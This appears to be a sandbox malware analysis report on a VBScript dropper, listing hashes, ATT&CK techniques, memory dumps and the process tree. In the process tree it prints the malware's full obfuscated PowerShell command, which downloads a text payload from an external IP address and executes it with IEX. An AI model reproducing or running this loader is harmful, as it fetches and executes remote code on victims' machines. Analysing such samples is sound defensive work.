1b956ea6626165956ea897d431801376e7189f96e149de1b2ee2fed6944a38b2

General

Target

EncKAO.vbs
Size

3KB
MD5

fa584c2b021aed55aff0c764aee1cff0
SHA1

327e83c2886c42896804ab87ca6996cb621e9b71
SHA256

1b956ea6626165956ea897d431801376e7189f96e149de1b2ee2fed6944a38b2
SHA512

a3db7960aa642cd61f499bda0f5892d2b7f939a65252842651472e963ca24ae9ebc7e51cb95e5c424b5dc8b0316333268edb902bb1be713621e4e11c5ecbe18e

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
868	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	868	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 868	2032	WScript.exe	27
PID 2032 wrote to memory of 868	2032	WScript.exe	27
PID 2032 wrote to memory of 868	2032	WScript.exe	27

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EncKAO.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HCNPXUQJCLATJSNVPNHGASK = '[*4@!-95&[27011]{{<!4(}y*4@!-95&[27011]{{<!4(}t3{{!{39=335@-#%2^${![292#\&3/-4=3%^]+\@8_#2}.IO.*4@!-95&[27011]{{<!4(}t()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{92#\&3/-4=3%^]+\@8_#2}()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{d3{{!{39=335@-#%2^${![2()&/@+/6!@3=1*&#^285<5]'.Replace('*4@!-95&[27011]{{<!4(}','S').Replace('3{{!{39=335@-#%2^${![2','E').Replace('()&/@+/6!@3=1*&#^285<5','R').Replace('5_8%0=^\09<276{[=(-\-{','A').Replace('92#\&3/-4=3%^]+\@8_#2}','M');$HWBPFQSKIJPSNVWGRPDVWTQ = ($HCNPXUQJCLATJSNVPNHGASK -Join '')|&('I'+'EX');$HVVGCGZUOWJPPVKKFNXPRYX = '[-<@!(_!_@2#@@73#6#<*68y-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2/=+\6{8&8!=%9$&6%0#$!1m.N/=+\6{8&8!=%9$&6%0#$!134^%[/28$^_^1)_+%&$}{2.W/=+\6{8&8!=%9$&6%0#$!1bR/=+\6{8&8!=%9$&6%0#$!1qu/=+\6{8&8!=%9$&6%0#$!1-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2]'.Replace('-<@!(_!_@2#@@73#6#<*68','S').Replace('/=+\6{8&8!=%9$&6%0#$!1','E').Replace('34^%[/28$^_^1)_+%&$}{2','T');$HZSWCZCRBXDIWQKWTESQTIY = ($HVVGCGZUOWJPPVKKFNXPRYX -Join '')|&('I'+'EX');$HFJRRSZDESQZWRCXANLTRDS = '\=)9&+81%{23</-^[/=-[6r7-{)&9)1(!_(2]+86%-(=5a+8#6&}]%/5}-^]%]5<#$7+7-{)&9)1(!_(2]+86%-(=5'.Replace('\=)9&+81%{23</-^[/=-[6','C').Replace('7-{)&9)1(!_(2]+86%-(=5','E').Replace('+8#6&}]%/5}-^]%]5<#$7+','T');$HWCLNHXSDRQHGEGSDTPUANI = '$#][}(-9<9$33&7@-{54#^-0@}{9!{69/<}19_19+_5&tR-0@}{9!{69/<}19_19+_5&0$}\+-8(030\)(%<}^/736pon0$}\+-8(030\)(%<}^/736-0@}{9!{69/<}19_19+_5&'.Replace('$#][}(-9<9$33&7@-{54#^','G').Replace('-0@}{9!{69/<}19_19+_5&','E').Replace('0$}\+-8(030\)(%<}^/736','S');$HUNOTPOSFQRHVLUSSYXPQCA = 'G_]@_61$7+/%50=7%)5}$+*t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[pon43=743-[#=!81/<[(**(<[_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*am'.Replace('43=743-[#=!81/<[(**(<[','S').Replace('_]@_61$7+/%50=7%)5}$+*','E').Replace('(#(&<<]#_^68#}}%]-#61#','R');$HHGZUQOYZVBAZGKFOKONHQP = '{[)9)4\#-&640<2_1%000//30#)6832^&7)=]=!{%8-_a20&[#8=\]=4}\*/8^-5_^+To/30#)6832^&7)=]=!{%8-_n20&[#8=\]=4}\*/8^-5_^+'.Replace('{[)9)4\#-&640<2_1%000/','R').Replace('/30#)6832^&7)=]=!{%8-_','E').Replace('20&[#8=\]=4}\*/8^-5_^+','D');&('I'+'EX')($HWBPFQSKIJPSNVWGRPDVWTQ::new($HZSWCZCRBXDIWQKWTESQTIY::$HFJRRSZDESQZWRCXANLTRDS('HttP://3.145.46.6/K/ServerFAH.txt').$HWCLNHXSDRQHGEGSDTPUANI().$HUNOTPOSFQRHVLUSSYXPQCA()).$HHGZUQOYZVBAZGKFOKONHQP())
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:868

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/868-58-0x000007FEF561E000-0x000007FEF561F000-memory.dmp

Filesize
4KB

Download
memory/868-59-0x0000000002410000-0x0000000002412000-memory.dmp

Filesize
8KB

Download
memory/868-60-0x0000000002412000-0x0000000002414000-memory.dmp

Filesize
8KB

Download
memory/868-61-0x0000000002414000-0x0000000002417000-memory.dmp

Filesize
12KB

Download
memory/868-57-0x000007FEF2EF0000-0x000007FEF3A4D000-memory.dmp

Filesize
11.4MB

Download
memory/868-62-0x000000000241B000-0x000000000243A000-memory.dmp

Filesize
124KB

Download
memory/2032-55-0x000007FEFBE21000-0x000007FEFBE23000-memory.dmp

Filesize
8KB

Download

Analysis

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